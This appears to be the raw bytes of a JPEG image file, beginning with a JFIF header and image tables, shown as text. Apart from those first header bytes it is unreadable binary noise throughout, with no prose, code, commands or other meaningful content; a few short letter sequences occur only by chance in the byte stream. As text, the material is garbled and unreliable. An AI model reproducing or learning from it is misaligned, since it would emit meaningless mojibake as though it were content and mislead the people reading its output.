�����JFIF��XX����������    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222�����"����4���������������������������� ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������,�PG"Z_�4�˷����kjز�Z�,F+��_z�,�© �����zh6�٨�ic�fu������������������������������������#ډb���_�N��?�����������wQ���5-�~�I���8���������������������������������TK<5o�Iv-������������������k�_U_������������������������������~b�M��d��������Ӝ�U�Hh��?]��E�w��Q���k�{��_}qFW7HTՑ��Y��F�����?_�'ϔ��_�Ջt������������������������=||I �����6�έ"�����D���/[�k�9����Y�8������ds|\���Ҿp6�Ҵ���]��.����6���z<�v��@]�i%������������������������$j��~����g��J>��no����pM[me�i$[�����������s�o�ᘨ�˸ nɜG-�ĨU�ycP���3.DB�li�;���������������������hj���x����7Z^�N�h��������N3u{�:j�����x�힞��#M��&��jL P@��_���� P�������������������&��o8��������9������@Sz���6�t7#O�ߋ �����s}Yf�T������lmr����Z)'N��k�۞p�����w\�T���������������ȯ?�8`���O��i{wﭹW�[�r�� ��Q4F�׊������3m&L�=��h3�������z~��#����\�l :�F,j@�� ʱ�wQT����8�"kJO����6�֚l������������������}����R�>ډK���]��y����&����p�}b������;N�1�m�r$����|��7�>e�@���B�TM*-i�H��g�D�)� E�m�|�ؘbҗ�a���Ҿ����������������t4�����o���G��*oCN�rP���Q��@z,|?W[0���������:�n,j���WiE��W������$~/�hp\��?��{(�0���+�Y8rΟ�+����>S-S���������������VN;���}�s?.����� w��9��˟<���Mq4�Wv'������{)0�1mB����V����W[��������8�/<� �%���wT^�5���b��)iM� p�g�N�&ݝ������������VO~��q���u���9��� ����!��J27�����$����O-���! �:���%H��� ـ�������y�ΠM=t{!S�� �oK8�������t<����è��������:a��������[������ա�H���~��w��Qz`�p����o�^ ������Q��n����� �,uu�C��$ ^���,�������8�#��:�6��e�|~�����������!�3��3.�\0�����q��o�4`.|� ����y�Q�`~;�d�ׯ,��O�Zw�������`73�v�܋�<�����Ȏ�� ـ4k��5�K�a�u�=9Yd��$>x�A�&�� j0� ���vF��� Y���|�y��� ~�6�@c��1vOp��������Ig�����4��l�OD�����L����� R���c���j�_�uX�6��3?nk��Wy�f;^*B� ��@���~a�`��Eu�������+�����6�L��.ü>��}y���}_�O�6�͐�:�Yr���G�X��kG������l^w����������~㒶sy���Iu�!���� W ��X��N�7BV��O��!X�2����wvG�R�f�T#�����t�/?���%8�^�W�aT����G�cL�M���I��(J����1~�8�?aT ���]����AS�E��(��*E}� 2������#I/�׍qz��^t�̔���������b�Yz4x����t�){ OH�����+(E��A&�N�������XT��o��"�XC����'���)}�J�z�p� ����~5�}�^����+�6����w��c��Q�|�Lp�d�H��}�(�.|����k��c4^�����"�����Z?ȕ ��a<�������L�!0�39C� �Eu�����C�F�Ew�ç ;�n?�*o���B�8�bʝ���'#Rqf����M}7����]�������s2tcS{�\icTx;�\��7K���P������ʇ Z O-��~�������c>"��?��������P�����E��O�8��@�8��G��Q�g�a�Վ���󁶠��䧘��_%#r�>�����1�z�a���eb��qcP��ѵ��n���#L��� =��׀t� L�7�`�����V����A{�C:�g���e@�����w1 Xp�3�c3�ġ�������p��M"'-�@n4���fG���B3�DJ�8[Jo�ߐ���gK)ƛ��$���� �������8�3�����+���� �����6�ʻ���� ���S�kI�*KZlT _`�������?��K�����QK�d���������B`�s}�>���`������*�>��,*@J�d�oF*�����弝��O}�k��s��]��y�ߘ�������c1G�V���<=�7��7����6��q�PT��tXԀ�!9*4�4Tހ���3XΛex�46�������Y��D ����� ����BdemDa����\�_l,����G�/���֌7���Y�](�xTt^%�GE�����4�}bT����ڹ�����;��Y)���B�Q��u��>J/J ���⮶.�XԄ��j�ݳ������+E��d ���r�5�_D�����1 ���o�� �B�x�΢�#����<��W�����8���R6�@���g�M�.��� dr�D��>(otU��@�x=��~v���2� ӣ�d�oBd�����3�eO�6�㣷����������ݜ�6��6Y��Qz`����S��{���\P��~z m5{J/L��1������<�e�ͅPu���b�]�ϔ��������'�������f�b� Zpw��c`"��i���BD@:)ִ�:�]��h���v�E��w���T�l�������P����"Ju�}��وV ��J��G6��. J/�Qgl߭�e�����@�z�Zev2u����)]կ���������7x�������s�M�-<ɯ�c��r��v�����@��$�ޮ}lk���a����'����>x��O\�Z������Fu>������ck#��&:��`�$��ai�>2Δ����l���oF[h�������lE�ܺ�Π���k:)���`������� $[6�����9�����kOw�\|�����8}������ބ:��񶐕��������I�A1/���=�2[�,�!��.}gN#�u����b���� ~���������݊��}34q�����d�E��L��������c��$���"�[q�U�硬g^��%B ��z���r�p�������J�ru%v\h�����1Y�ne`������ǥ:g����pQM~�^��Xi� ��`S�:V2������9.�P���V������?B�k�� ��������AEvw%�_�9C�Q����wKekP�ؠ�\������;Io d�{ ߞo�c1eP�����\� `����E=���@K<�Y��������eڼ�J����w����{av�F�'�M�@��������������/J��+9p����|]���������Iw &`���8���&�M�hg���[�{�������Xj���%��Ӓ�������������������$��(�����ʹN�������<>�I���RY�����K2�NPlL�ɀ�)��&e��������B+ь����(������������������� � �JTx����_?EZ� }@���� 6�U���뙢ط�z��dWI��n` D����噥�[��uV��"�G&�����Ú����2�g�}&m���������������������?ċ���"����Om#�������������������������� ��{���������������������ON��"S�X���Ne��ysQ���@�������������Fn��Vg�����dX�~nj����������������������]J�<�K]:����FW���b�������62����������=��5f����JKw����bf�X������������������������55��~J �%^�������:�-�QIE��P��v�nZum� z � ~ə ���� ���ة����;�f��\v�������g�8�1��f2�������������������������4;�V���ǔ�)�������������������9���1\������������������������������c��v�/'Ƞ�w������������������$�4�R-��t����������������������������������� e�6�/�ġ �̕Ecy�J���u�B���<�W�ַ~�w[B1L۲�-JS΂�{���΃�������������������������������������������A��20�c#���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������@���� 0!1@AP"#2Q`$3V�%45a6�FRUq����� ������^7ׅ,$n��������+��F�`��2X'��0vM��p�L=�������5��8������u�p~���.�`r�����\����O��,ư�0oS ��_�M�����l���4�kv\JSd���x���SW�<��Ae�IX����������$I���w�:S���y���›R��9�Q[���,�5�;�@]�%���u�@ *ro�lbI �� ��+���%m:�͇ZV�����u�̉����θau<�fc�.����{�4Ա� �Q����*�Sm��8\ujqs]{kN���)qO�y�_*dJ�b�7���yQqI&9�ԌK!�M}�R�;�������S�T���1���i[U�ɵz�]��U)V�S6���3$K{��ߊ<�(� E]Զ[ǼENg�����'�\?#)Dkf��J���o��v���'�%ƞ�&K�u��!��b�35LX�Ϸ��63$K�a�;�9>,R��W��3�3� d�JeTYE.Mϧ��-�o�j3+y��y^�c�������VO�9NV\nd�1 ��!͕_)a�v;����թ�M�lWR1��)El��P;��yوÏ�u 3�k�5Pr6<�⒲l�!˞*��u־�n�!�l:����UNW ��%��Chx8vL'��X�@��*��)���̮��ˍ��� ����D-M�+J�U�kvK����+�x8��cY������?�Ԡ��~3mo��|�u@[XeY�C�\Kp�x8�oC�C�&����N�~3-H���� ��MX�s�u<`���~"WL��$8ξ��3���a�)|:@�m�\���^�`�@ҷ)�5p+��6���p�%i)P M���ngc�����#0Aruz���RL+xSS?���ʮ}()#�t��mˇ!��0}}y����<�e� �-ή�Ԩ��X������ MF���ԙ~l L.3���}�V뽺�v������멬��Nl�)�2����^�Iq��a��M��qG��T�����c3#������3U�Ǎ���}��לS�|qa��ڃ�+���-��2�f����/��bz��ڐ�� �ݼ[2�ç����k�X�2�* �Z�d���J�G����M*9W���s{��w���T��x��y,�in�O�v��]���n����P�$��JB@=4�OTI�n��e�22a\����q�d���%�$��(���:���: /*�K[PR�fr\nڙdN���F�n�$�4��[�� U�zƶ����� �mʋ���,�ao�u 3�z� �x��Kn����\[��VFmbE;�_U��&V�Gg�]L�۪&#n%�$ɯ��dG���D�TI=�%+AB�Ru#��b4�1�»x�cs�YzڙJG��f��Il���d�eF'T� iA��T���uC�$����Y��H?����[!G`}���ͪ� �纤Hv\������j�Ex�K���!���OiƸ�Yj�+u-<���'q����uN�*�r\��+�]���<�wOZ.fp�ێ��,-*)V?j-kÊ#�`�r��dV����(�ݽBk�����G�ƛk�QmUڗe��Z���f}|����8�8��a���i��3'J�����~G_�^���d�8w������ R�`(�~�.��u���l�s+g�bv���W���lGc}��u���afE~1�Ue������Z�0�8�=e�� f@/�jqEKQQ�J���oN��J���W5~M>$6�Lt�;$ʳ{���^��6�{����v6���ķܰg�V�cnn �~z�x�«�,2�u�?cE+Ș�H؎�%�Za�)���X>uW�Tz�Nyo����s���FQƤ��$��*�&�LLXL)�1�" L��eO��ɟ�9=���:t��Z���c��Ž���Y?�ӭV�wv�~,Y��r�ۗ�|�y��GaF�����C�����.�+� ���v1���fήJ�����]�S��T��B��n5sW}y�$��~z�'�c ��8 ��� ,! �p��VN�S��N�N�q��y8z˱�A��4��*��'������2n<�s���^ǧ˭P�Jޮɏ�U�G�L�J�*#��<�V��t7�8����TĜ>��i}K%,���)[��z�21z ?�N�i�n1?T�I�R#��m-�����������������1����lA�`��fT5+��ܐ�c�q՝��ʐ��,���3�f2U�եmab��#ŠdQ�y>\��)�SLY����w#��.���ʑ�f��� ,"+�w�~�N�'�c�O�3F�������N<���)j��&��,-� �љ���֊�_�zS���TǦ����w�>��?�������n��U仆�V���e�����0���$�C�d���rP �m�׈e�Xm�Vu� �L��.�bֹ��� �[Դaզ���*��\y�8�Է:�Ez\�0�Kq�C b��̘��cө���Q��=0Y��s�N��S.����3.���O�o:���#���v7�[#߫ ��5�܎�L���Er4���9n��COWlG�^��0k�%<���ZB���aB_���������'=��{i�v�l�$�uC���mƎҝ{�c㱼�y]���W�i ��ߧc��m�H� m�"�"�����;Y�ߝ�Z�Ǔ�����:S#��|}�y�,/k�Ld� TA�(�AI$+I3��;Y*���Z��}|��ӧO��d�v��..#:n��f>�>���ȶI�TX��� 8��y����"d�R�|�)0���=���n4��6ⲑ�+��r<�O�܂~zh�z����7ܓ�HH�Ga롏���nCo�>������a ���~]���R���̲c?�6(�q�;5%� |�uj�~z8R�=X��I�V=�|{v�Gj\gc��q����z�؋%M�ߍ����1y��#��@f^���^�>N������#x#۹��6�Y~�?�dfPO��{��P�4��V��u1E1J �*|���%����JN��`eWu�zk M6���q t[�� ��g�G���v��WIG��u_ft����5�j�"�Y�:T��ɐ���*�;� e5���4����q$C��2d�}���� _S�L#m�Yp��O�.�C�;��c����Hi#֩%+) �Ӎ��ƲV���SYź��g |���tj��3�8���r|���V��1#;.SQ�A[���S������#���`n�+���$��$�I �P\[�@�s��(�ED�z���P��])8�G#��0B��[ى��X�II�q<��9�~[Z멜�Z�⊔IWU&A>�P~�#��dp<�?����7���c��'~���5 ��+$���lx@�M�dm��n<=e�dyX��?{�|Aef ,|n3�<~z�ƃ�uۧ�����P��Y,�ӥQ�*g�#먙R�\���;T��i,��[9Qi歉����c>]9�� ��"�c��P�� �Md?٥��If�ت�u��k��/����F��9�c*9��Ǎ:�ØF���z�n*�@|I�ށ9����N3{'��[�'ͬ�Ҳ4��#}��!�V� Fu��,�,mTIk���v C�7v���B�6k�T9��1�*l� '~��ƞF��lU��'�M ����][ΩũJ_�{�i�I�n��$����L�� j��O�dx�����kza۪��#�E��Cl����x˘�o�����V���ɞ�ljr��)�/,�߬h�L��#��^��L�ф�,íMƁe�̩�NB�L�����iL����q�}��(��q��6IçJ$�W�E$��:������=#����(�K�B����zђ <��K(�N�۫K�w��^O{!����)��H���>x�������lx�?>Պ�+�>�W���,Ly!_�D���Ō�l���Q�!�[ �S����J��1��Ɛ�Y}��b,+�Lo�x�ɓ)����=�y�oh�@�꥟/��I��ѭ=��P�y9��� �ۍYӘ�e+�p�Jnϱ?V\SO%�(�t� ���=?MR�[Ș�����d�/ ��n�l��B�7j� ��!�;ӥ�/�[-���A�>��dN�sLj ��,ɪv��=1c�.SQ�O3�U���ƀ�ܽ�E����������̻��9G�ϷD�7(�}��Ävӌ\��y�_0[w ���<΍>����a_��[0+�L��F.�޺��f�>oN�T����q;���y\��bՃ��y�jH�<|q-eɏ�_?_9+P���Hp$�����[ux�K w�Mw��N�ی'$Y2�=��q���KB��P��~�������Yul:�[<����F1�2�O���5=d����]Y�sw:���Ϯ���E��j,_Q��X��z`H1,#II ��d�wr��P˂@�ZJV����y$�\y�{}��^~���[:N����ߌ�U�������O��d�����ؾe��${p>G��3c���Ė�lʌ�� ת��[��`ϱ�-W����dg�I��ig2��� ��}s ��ؤ(%#sS@���~���3�X�nRG�~\jc3�v��ӍL��M[JB�T��s3}��j�Nʖ��W����;7���ç?=X�F=-�=����q�ߚ���#���='�c��7���ڑW�I(O+=:uxq�������������e2�zi+�kuG�R��������0�&e�n���iT^J����~\jy���p'dtG��s����O��3����9* �b#Ɋ�� p������[Bws�T�>d4�ۧs���nv�n���U���_�~,�v����ƜJ1��s�� �QIz���)�(lv8M���U=�;����56��G���s#�K���MP�=��LvyGd��}�VwWBF�'�à �?MH�U�g2�� ����!�p�7Q��j��ڴ����=��j�u��� Jn�A s���uM������e��Ɔ�Ҕ�!)�'��8Ϣ�ٔ���ޝ(��Vp���צ֖d=�IC�J�Ǡ{q������kԭ�߸���i��@K����u�|�p=..�*+����x�����z[Aqġ#s2a�Ɗ���RR�)*HRsi�~�a &f��M��P����-K�L@��Z��Xy�'x�{}��Zm+���:�)�) IJ�-i�u���� ���ܒH��'��L(7�y�GӜq���� j��� 6ߌg1�g�o���,kر���tY�?W,���p���e���f�OQS��!K�۟cҒA�|ս�j�>��=⬒��˧L[�� �߿2JaB~R��u�:��Q�] �0H~���]�7��Ƽ�I���(�}��cq '�ήET���q�?f�ab���ӥvr� �)o��-Q��_'����ᴎo��K������;��V���o��%���~OK ����*��b�f:���-ťIR��`B�5!RB@���ï�� �u �̯e\�_U�_������� g�ES��3��������QT��a�����x����U<~�c?�*�#]�MW,[8O�a�x��]�1bC|踤�P��lw5V%�)�{t�<��d��5���0i�XSU��m:��Z�┵�i�"��1�^B�-��P�hJ��&)O��*�D��c�W��vM��)����}���P��ܗ-q����\mmζZ-l@�}��a��E�6��F�@��&Sg@���ݚ�M����� ȹ 4����#p�\H����dYDo�H���"��\��..R�B�H�z_�/5˘����6��KhJR��P�mƶi�m���3��,#c�co��q�a)*P�t����R�m�k�7x�D�E�\Y�閣_X�<���~�)���c[[�BP����6�Yq���S��0����%_����;��Àv�~�| VS؇ ��'O0��F0��\���U�-�d@�����7�SJ*z��3n��y��P����O����������m�~�P�3|Y��ʉr#�C�<�G~�.,! ���bqx���h~0=��!ǫ�jy����l��O,�[B��~��|9��ٱ����Xly�#�i�B��g%�S��������tˋ���e���ې��\[d�t)��.+u�|1 ������#�~Oj����hS�%��i.�~X���I�H�m��0n���c�1uE�q��cF�RF�o���7� �O�ꮧ� ���ۛ{��ʛi5�rw?׌#Qn�TW��~?y$��m\�\o����%W� ?=>S�N@�� �Ʈ���R����N�)�r"C�:��:����� �����#��qb��Y�. �6[��2K����2u�Ǧ�HYR��Q�MV��� �G�$��Q+.>�����nNH��q�^��� ����q��mM��V��D�+�-�#*�U�̒ ���p욳��u:�������IB���m����PV@O���r[b= �� ��1U�E��_Nm�yKbN�O���U�}�the�`�|6֮P>�\2�P�V���I�D�i�P�O;�9�r�mAHG�W�S]��J*�_�G��+kP�2����Ka�Z���H�'K�x�W�MZ%�O�YD�Rc+o��?�q��Ghm��d�S�oh�\�D�|:W������UA�Qc yT�q��������~^�H��/��#p�CZ���T�I�1�ӏT����4��"�ČZ�����}��`w�#�*,ʹ�� ��0�i��課�Om�*�da��^gJ݅{���l�e9uF#T�ֲ��̲�ٞC"�q���ߍ ոޑ�o#�XZTp����@ o�8��(jd��xw�]�,f���`~��|,s��^����f�1���t��|��m�򸄭/ctr��5s��7�9Q�4�H1꠲BB@�l9@���C�����+�wp�xu�£Yc�9��?`@#�o�mH�s2��)�=��2�.�l����jg�9$�Y�S�%*L������R�Y������7Z���,*=�䷘$�������arm�o�ϰ���UW.|�r�uf����IGw�t����Zwo��~5 ��YյhO+=8fF�)�W�7�L9lM�̘·Y���֘YLf�큹�pRF���99.A �"wz��=E\Z���'a� 2��Ǚ�#;�'}�G���*��l��^"q��+2FQ� hj��kŦ��${���ޮ-�T�٭cf�|�3#~�RJ����t��$b�(R��(����r���dx� >U b�&9,>���%E\� Ά�e�$��'�q't��*�א���ެ�b��-|d���SB�O�O��$�R+�H�)�܎�K��1m`;�J�2�Y~9��O�g8=vqD`K[�F)k�[���1m޼c��n���]s�k�z$@��)!I �x՝"v��9=�ZA=`Ɠi �:�E��)`�7��vI��}d�YI�_ �o�:ob���o ���3Q��&D&�2=�� �Ά��;>�h����y.*ⅥS������Ӭ�+q&����j|UƧ�����}���J0��WW< ۋS�)jQR�j���Ư��rN)�Gű�4Ѷ(�S)Ǣ�8��i��W52���No˓� ۍ%�5brOn�L�;�n��\G����=�^U�dI���8$�&���h��'���+�(������cȁ߫k�l��S^���cƗjԌE�ꭔ��gF���Ȓ��@���}O���*;e�v�WV���YJ\�]X'5��ղ�k�F��b 6R�o՜m��i N�i�����>J����?��lPm�U��}>_Z&�KK��q�r��I�D�Չ~�q�3fL�:S�e>���E���-G���{L�6p�e,8��������QI��h��a�Xa��U�A'���ʂ���s�+טIjP�-��y�8ۈZ?J$��W�P� ��R�s�]��|�l(�ԓ��sƊi��o(��S0���Y� 8�T97.�����WiL��c�~�dxc�E|�2!�X�K�Ƙਫ਼�$((�6�~|d9u+�qd�^3�89��Y�6L�.I�����?���iI�q���9�)O/뚅����O���X��X�V��ZF[�یgQ�L��K1���RҖr@v�#��X�l��F���Нy�S�8�7�kF!A��sM���^rkp�jP�DyS$N���q���nxҍ!U�f�!eh�i�2�m����`�Y�I�9r�6� �TF���C}/�y�^���Η���5d�'��9A-��J��>{�_l+�`��A���[�'��յ�ϛ#w:݅�%��X�}�&�PSt�Q�"�-��\縵�/����$Ɨh�Xb�*�y��BS����;W�ջ_mc�����vt?2}1�;qS�d�d~u:2k5�2�R�~�z+|HE!)�Ǟl��7`��0�<�,�2*���Hl-��x�^����'_TV�gZA�'j� ^�2Ϊ��N7t�����?w�� �x1��f��Iz�C-Ȗ��K�^q�;���-W�DvT�7��8�Z�������� hK�(P:��Q- �8�n�Z���܃e貾�<�1�YT<�,�����"�6{�/ �?�͟��|1�:�#g��W�>$����d��J��d�B���=��jf[��%rE^��il:��B���x���Sּ�1հ��,�=��*�7 fcG��#q� �eh?��2�7�����,�!7x��6�n�LC�4x��},Geǝ�tC.��vS �F�43��zz\��;QYC,6����~;RYS/6���|2���5���v��T��i����������mlv��������&� �nRh^ejR�LG�f���? �ۉҬܦƩ��|��Ȱ����>3����!v��i�ʯ�>�v��オ�X3e���_1z�Kȗ\<������!�8���V��]��?b�k41�Re��T�q��mz��TiOʦ�Z��Xq���L������q"+���2ۨ��8}�&N7XU7Ap�d�X��~�׿��&4e�o�F��� �H�����O���č�c�� 懴�6���͉��+)��v;j��ݷ�� �UV�� i��� j���Y9GdÒJ1��詞�����V?h��l�����l�cGs�ځ�������y�Ac������\V3�? �� ܙg�>qH�S,�E�W�[�㺨�uch�⍸�O�}���a��>�q�6�n6�����N6�q��������N� ���! 1AQaq�0@����"2BRb�#Pr���3C`��Scst���$4D���%Td���� ?�����N����a��3��m���C���w��������xA�m�q�m����m������$����4n淿t'��C"w��zU=D�\R+w�p+Y�T�&�պ@��ƃ��3ޯ?�Aﶂ��aŘ���@-�����Q�=���9D��ռ�ѻ@��M�V��P��܅�G5�f�Y<�u=,EC)�<�Fy'�"�&�չ�X~f��l�KԆV��?�� �W�N����=(� �;���{�r����ٌ�Y���h{�١������jW����P���Tc�����X�K�r��}���w�R��%��?���E��m�� �Y�q|����\lEE4����r���}�lsI�Y������f�$�=�d�yO����p�����yBj8jU�o�/�S��?�U��*������ˍ�0�������u�q�m [�?f����a�� )Q�>����6#������� ?����0UQ����,IX���(6ڵ[�DI�MNލ�c&���υ�j\��X�R|,4��� j������T�hA�e��^���d���b<����n�� �즇�=!���3�^�`j�h�ȓr��jẕ�c�,ٞX����-����a�ﶔ���#�$��]w�O��Ӫ�1y%��L�Y<�wg#�ǝ�̗`�x�xa�t�w��»1���o7o5��>�m뭛C���Uƃߜ}�C���y1Xνm�F8�jI���]����H���ۺиE@I�i;r�8ӭ�����V�F�Շ| ��&?�3|x�B�MuS�Ge�=Ӕ�#BE5G������Y!z��_e��q�р/W>|-�Ci߇�t�1ޯќd�R3�u��g�=0 5��[?�#͏��q�cf���H��{ ?u�=?�?ǯ���}Z��z���hmΔ�BFTW�����<�q��(v� ��!��z���iW]*�J�V�z��gX֧A�q�&��/w���u�gYӘa���; �i=����g:��?2�dž6�ى�k�4�>�Pxs����}������G�9���3 ���)gG�R<>r h�$��'nc�h�P��Bj��J�ҧH� -��N1���N��?��~��}-q!=��_2hc�M��l�vY%UE�@|�v����M2�.Y[|y�"Eï��K�ZF,�ɯ?,q�?v�M 80jx�"�;�9vk�����+ ֧�� �ȺU��?�%�vcV��mA�6��Qg^M�����A}�3�nl� QRN�l8�kkn�'�����(��M�7m9و�q���%ޟ���*h$Zk"��$�9��: �?U8�Sl��,,|ɒ��xH(ѷ����Gn�/Q�4�P��G�%��Ա8�N��!� �&�7�;���eKM7�4��9R/%����l�c>�x;������>��C�:�����t��h?aKX�bhe�ᜋ^�$�Iհ �hr7%F$�E��Fd���t��5���+�(M6�t����Ü�UU|zW�=a�Ts�Tg������dqP�Q����b'�m���1{|Y����X�N��b �P~��F^F:����k6�"�j!�� �I�r�`��1&�-$�Bevk:y���#y�w��I0��x��=D�4��tU���P�ZH��ڠ底taP��6����b>�xa�����Q�#� WeF��ŮNj�p�J* mQ�N�����*I�-*�ȩ�F�g�3 �5��V�ʊ�ɮ�a��5F���O@{���NX��?����H�]3��1�Ri_u��������ѕ�� ����0��� F��~��:60�p�͈�S��qX#a�5>���`�o&+�<2�D����: �������ڝ�$�nP���*)�N�|y�Ej�F�5ټ�e���ihy�Z �>���k�bH�a�v��h�-#���!�Po=@k̆IEN��@��}Ll?j�O������߭�ʞ���Q|A07x���wt!xf���I2?Z��<ץ�T���cU�j��]���陎Ltl �}5�ϓ��$�,��O�mˊ�;�@O��jE��j(�ا,��LX���LO���Ц�90�O �.����a��nA���7������j4 ��W��_ٓ���zW�jcB������y՗+EM�)d���N�g6�y1_x��p�$Lv�:��9�"z��p���ʙ$��^��JԼ*�ϭ����o���=x�Lj�6�J��u82�A�H�3$�ٕ@�=Vv�]�'�qEz�;I˼��)��=��ɯ���x �/�W(V���p�����$ �m�������u�����񶤑Oqˎ�T����r��㠚x�sr�GC��byp�G��1ߠ�w e�8�$⿄����/�M{*}��W�]˷.�CK\�ުx���/$�WP�w���r� |i���&�}�{�X� �>��$-��l���?-z���g����lΆ���(F���h�vS*���b���߲ڡn,|)mrH[���a�3�ר�[1��3o_�U�3�TC�$��(�=�)0�kgP���� ��u�^=��4 �WYCҸ:��vQ�ר�X�à��tk�m,�t*��^�,�}D*�� �"(�I��9R����>`�`��[~Q]�#af��i6l��8���6�:,s�s�N6�j"�A4���IuQ��6E,�GnH��zS�HO�uk�5$�I�4��ؤ�Q9�@��C����wp��BGv[]�u�Ov����0I4���\��y�����Q�Ѹ��~>Z��8�T��a��q�ޣ;z��a���/��S��I:�ܫ_�|������>=Z����8:�S��U�I�J��"IY���8%b8���H��:�QO�6�;7�I�S��J��ҌAά3��>c���E+&jf$eC+�z�;��V����� �r���ʺ������my�e���aQ�f&��6�ND���.:��NT�vm�<- u���ǝ\MvZY�N�NT��-A�>jr!S��n�O 1�3�Ns�%�3D@���`������ܟ 1�^c<���� �a�ɽ�̲�Xë#�w�|y�cW�=�9I*H8�p�^(4���՗�k��arOcW�tO�\�ƍR��8����'�K���I�Q�����?5�>[�}��yU�ײ -h��=��% q�ThG�2�)���"ו3]�!kB��*p�FDl�A���,�eEi�H�f�Ps�����5�H:�Փ~�H�0Dت�D�I����h�F3�������c��2���E��9�H��5�zԑ�ʚ�i�X�=:m�xg�hd(�v����׊�9iS��O��d@0ڽ���:�p�5�h-��t�&���X�q�ӕ,��ie�|���7A�2���O%P��E��htj��Y1��w�Ѓ!����  ���� ࢽ��My�7�\�a�@�ţ�J ��4�Ȼ�F�@o�̒?4�wx��)��]�P��~�����u�����5�����7X ��9��^ܩ�U;Iꭆ 5 �������eK2�7(�{|��Y׎ �V��\"���Z�1� Z�����}��(�Ǝ"�1S���_�vE30>���p;� ΝD��%x�W�?W?v����o�^V�i�d��r[��/&>�~`�9Wh��y�;���R���� ;;ɮT��?����r$�g1�K����A��C��c��K��l:�'��3 c�ﳯ*"t8�~l��)���m��+U,z��`(��>yJ�?����h>��]��v��ЍG*�{`��;y]��I�T� ;c��NU�fo¾h���/$���|NS���1�S�"�H��V���T���4��uhǜ�]�v;���5�͠x��'C\�SBpl���h}�N����� A�Bx���%��ޭ�l��/����T��w�ʽ]D�=����K���ž�r㻠l4�S�O?=�k �M:� ��c�C�a�#ha���)�ѐxc�s���gP�iG���{+���x���Q���I= �� z��ԫ+ �8"�k�ñ�j=|����c ��y��CF��/���*9ж�h{ �?4�o� ��k�m�Q�N�x��;�Y��4膚�a�w?�6�>�e]�����Q�r�:����g�,i"�����ԩA��*M�<�G��b�if��l^M��5�� �Ҩ�{����6J��ZJ�����P�*�����Y���ݛu�_4�9�I8�7���������,^ToR���m4�H��?�N�S�ѕw��/S��甍�@�9H�S�T��t�ƻ���ʒU��*{Xs�@����f������֒Li�K{H�w^���������Ϥm�tq���s� ���ք��f:��o~s��g�r��ט� �S�ѱC�e]�x���a��) ���(b-$(�j>�7q�B?ӕ�F��hV25r[7 Y� }L�R��}����*sg+��x�r�2�U=�*'WS��ZDW]�WǞ�<��叓���{�$�9Ou4��y�90-�1�'*D`�c�^o?(�9��u���ݐ��'PI&� f�Jݮ�������:wS����jfP1F:X �H�9dԯ����˝[�_54 �}*;@�ܨ�� ð�yn�T���?�ןd�#���4rG�ͨ��H�1�|-#���Mr�S3��G�3�����)�.᧏3v�z֑��r����$G"�`j �1t��x0<Ɔ�Wh6�y�6��,œ�Ga��gA����y��b��)���h�D��ß�_�m��ü �gG;��e�v��ݝ�nQ� ��C����-�*��o���y�a��M��I�>�<���]obD��"�:���G�A��-\%LT�8���c�)��+y76���o�Q�#*{�(F�⽕�y����=���rW�\p���۩�c���A���^e6��K������ʐ�cVf5$�'->���ՉN"���F�"�UQ@�f��Gb~��#�&�M=��8�ט�JNu9��D��[̤�s�o�~������� G��9T�tW^g5y$b��Y'��س�Ǵ�=��U-2 #�MC�t(�i� �lj�@Q 5�̣i�*�O����s�x�K�f��}\��M{E�V�{�υ��Ƈ�����);�H����I��fe�Lȣr�2��>��W��I�Ȃ6������i��k�� �5�YOxȺ����>��Y�f5'��|��H+��98pj�n�.O�y�������jY��~��i�w'������l�;�s�2��Y��:'lg�ꥴ)o#'Sa�a�K��Z� �m��}�`169�n���"���x��I ��*+� }F<��cГ���F�P�������ֹ*�PqX�x۩��,� ��N�� �4<-����%����:��7����W���u�`����� $�?�I��&����o��o��`v�>��P��"��l���4��5'�Z�gE���8���?��[�X�7(��.Q�-��*���ތL@̲����v��.5���[��=�t\+�CNܛ��,g�SQnH����}*F�G16���&:�t��4ُ"A��̣��$�b �|����#rs��a�����T�� ]�<�j��B�S�('$�ɻ� �wP;�/�n��?�ݜ��x�F��yUn�~mL*-�������Xf�wd^�a�}��f�,=t�׵i�.2/wpN�Ep8�OР���•��R�FJ� 55TZ��T �ɭ�<��]��/�0�r�@�f��V��V����Nz�G��^���7hZi����k��3�,kN�e|�vg�1{9]_i��X5y7� 8e]�U����'�-2,���e"����]ot�I��Y_��n�(JҼ��1�O ]bXc���Nu�No��pS���Q_���_�?i�~�x h5d'�(qw52] ��'ޤ�q��o1�R!���`ywy�A4u���h<קy���\[~�4�\ X�Wt/� 6�����n�F�a8��f���z �3$�t(���q��q�x��^�XWeN'p<-v�!�{�(>ӽDP7��ո0�y)�e$ٕv�Ih'Q�EA�m*�H��RI��=:��� ���4牢) �%_iN�ݧ�l]� �Nt���G��H�L��� ɱ�g<���1V�,�J~�ٹ�"K��Q�� 9�HS�9�?@��k����r�;we݁�]I�!{ �@�G�[�"��`���J:�n]�{�cA�E����V��ʆ���#��U9�6����j�#Y�m\��q�e4h�B�7��C�������d<�?J����1g:ٳ���=Y���D�p�ц� ׈ǔ��1�]26؜oS�'��9�V�FVu�P�h�9�xc�oq�X��p�o�5��Ա5$�9W�V(�[Ak�aY錎qf;�'�[�|���b�6�Ck��)��#a#a˙��8���=äh�4��2��C��4tm^ �n'c����]GQ$[Wҿ��i���vN�{Fu ��1�gx��1┷���N�m��{j-,��x�� Ūm�ЧS�[�s���Gna���䑴�� x�p 8<������97�Q���ϴ�v�aϚG��Rt�Һ׈�f^\r��WH�JU�7Z���y)�vg=����n��4�_)y��D'y�6�]�c�5̪��\� �PF�k����&�c;��cq�$~T�7j ���nç]�<�g ":�to�t}�159�<�/�8������m�b�K#g'I'.W������6��I/��>v��\�MN��g���m�A�yQL�4u�Lj�j9��#44�t��l^�}L����n��R��!��t��±]��r��h6ٍ>�yҏ�N��fU�� ���� Fm@�8}�/u��jb9������he:A�y�ծw��GpΧh�5����l}�3p468��)U��d��c����;Us/�֔�YX�1�O2��uq�s��`hwg�r~�{ R��mhN��؎*q 42�*th��>�#���E����#��Hv�O����q�}������6�e��\�,Wk�#���X��b>��p}�դ��3���T5��†��6��[��@��P�y*n��|'f�֧>�lư΂�̺����SU�'*�q�p�_S�����M�� '��c�6������m�� 